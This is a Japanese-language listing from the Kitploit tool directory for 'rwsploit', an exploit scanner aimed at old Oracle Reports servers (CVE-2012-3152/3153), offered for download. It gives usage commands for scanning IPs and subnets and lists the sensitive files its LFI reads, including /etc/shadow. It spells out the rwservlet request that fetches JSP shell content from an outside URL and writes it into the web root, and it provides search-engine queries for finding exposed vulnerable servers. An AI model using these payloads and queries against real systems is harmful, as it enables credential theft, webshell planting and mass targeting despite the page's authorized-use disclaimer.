Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
rwsploit — 自動エクスプロイトスキャナー — Oracle Reports Server (rwservlet) 向け、CVE-2012-3152 / CVE-2012-3153 対応。検出、フィンガープリント取得、LFIによるファイル読み取り、Webhook経由でのSSRFテスト、JSPシェルのアップロードを実行。対象: Oracle Reports < 11g。許可された使用に限ります。 | Kitploit
ツール/GitHubGitHub/abq0/rwsploit
偵察脆弱性スキャナーペイロード生成エクスプロイトシェルコードウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubabq0/rwsploit

rwsploit

自動エクスプロイトスキャナー — Oracle Reports Server (rwservlet) 向け、CVE-2012-3152 / CVE-2012-3153 対応。検出、フィンガープリント取得、LFIによるファイル読み取り、Webhook経由でのSSRFテスト、JSPシェルのアップロードを実行。対象: Oracle Reports < 11g。許可された使用に限ります。

63ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Oracle Reports rwservlet スキャナー

⚠️ 許可された用途のみ。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみこのツールを実行してください。不正使用は違法です。

Oracle Reports Server(rwservlet)に焦点を当てたエクスプロイトスキャナーで、CVE-2012-3152 および CVE-2012-3153 を狙います。影響を受けるのは 11g 未満のバージョンです。単一 IP、CIDR 範囲、またはターゲットリストに対して、検出、LFI ファイル読み取り、SSRF テスト、JSP シェルアップロードを自動化します。スマートな TCP/HTTP 事前フィルタリングにより、応答のないホストは即座にスキップされ、時間の無駄がありません。


インストール

root@kitploit:~
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests

Python 3.8+ が必要です。その他の依存関係はありません。


使用方法

root@kitploit:~
python3 rwsploit.py -t <IP|CIDR> [オプション]
python3 rwsploit.py -f <ファイル>   [オプション]

引数なしで実行すると、完全なヘルプメニューとリコンダークが表示されます。


オプション

フラグ説明デフォルト
-tターゲット IP、ホスト名、または CIDR。複数値を受け付けます。—
-fIP または CIDR が1行に1つずつ記載されたファイル。# はコメント。—
-p単一のカスタムポート — デフォルトのポートリストを上書きします。80 443 8080 7777 7778 7779 8443 9090
-T同時スレッド数。15
-oLFI のダンプをディスクに保存する際のプレフィックス。例:-o loot → loot_<ip>_<port>_<ファイル>.txt標準出力のみ
--timeoutリクエストのタイムアウト(秒)。10
--lfiLFI ファイル読み取りペイロードを実行します。最初に OS を検出し、関連するペイロードのみを実行します。オフ
--no-ssrfSSRF Webhook テストをスキップします。オフ
--shellJSP シェルをアップロードします。シェルコンテンツを提供する URL の入力を求めます。オフ
-hヘルプとリコンダークを表示します。—

使用例

root@kitploit:~
# 検出のみ
python3 rwsploit.py -t 10.10.10.55 -p 7777

# 検出 + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi

# 完全チェーン — LFI + SSRF + シェル
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell

# サブネットスキャン、ダンプを保存
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot

# ファイルから、SSRF なし
python3 rwsploit.py -f targets.txt --lfi --no-ssrf

targets.txt の形式

root@kitploit:~
# コメント — スキップされます
10.10.10.55
10.10.11.0/24

機能

LFI

最初に showenv で OS を検出し、一致するペイロードセットのみを実行して、読み取り可能なファイルを読み取ります。

Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ

Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT

🚨 LFI の出力がないからといって、ターゲットが安全であるとは限りません。Oracle の設定やファイルのパーミッションはさまざまです。SSRF とシェルアップロードは必ず個別にテストしてください。

SSRF

rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> を発行し、webhook.site API にコールバックをポーリングします。ヒットすると、送信元 IP、メソッド、User-Agent を表示します。起動時に新しい Webhook トークンが自動的に作成されます。

シェルアップロード (--shell)

  1. JSP シェルコンテンツを提供する URL の入力を求めます
  2. showenv から PATH_TRANSLATED を読み取り、実際の Web ルートパスを取得します
  3. ランダムなシェル名を生成します(例:kxqbrmfa.jsp)
  4. rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL> で書き込みます
  5. シェル URL が HTTP 200 を返すことを確認し、ライブリンクを表示します

リコンダーク — Oracle Reports < v11

Google

root@kitploit:~
inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet

Shodan

root@kitploit:~
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"

FOFA

root@kitploit:~
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"

Censys

root@kitploit:~
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"

CVE

CVE説明
CVE-2012-3152rwservlet の report パラメータを介した認証なしのファイル読み取り
CVE-2012-3153JOBTYPE=rwurl + URLPARAMETER を介した SSRF およびファイル書き込み

影響を受けるバージョン:Oracle Reports Server 6i、9i、10g — 11g で修正済み。


法的注意事項

許可された侵入テスト、CTF チャレンジ、およびセキュリティ研究のみを目的としています。作成者は誤用について一切の責任を負いません。

ツールをダウンロード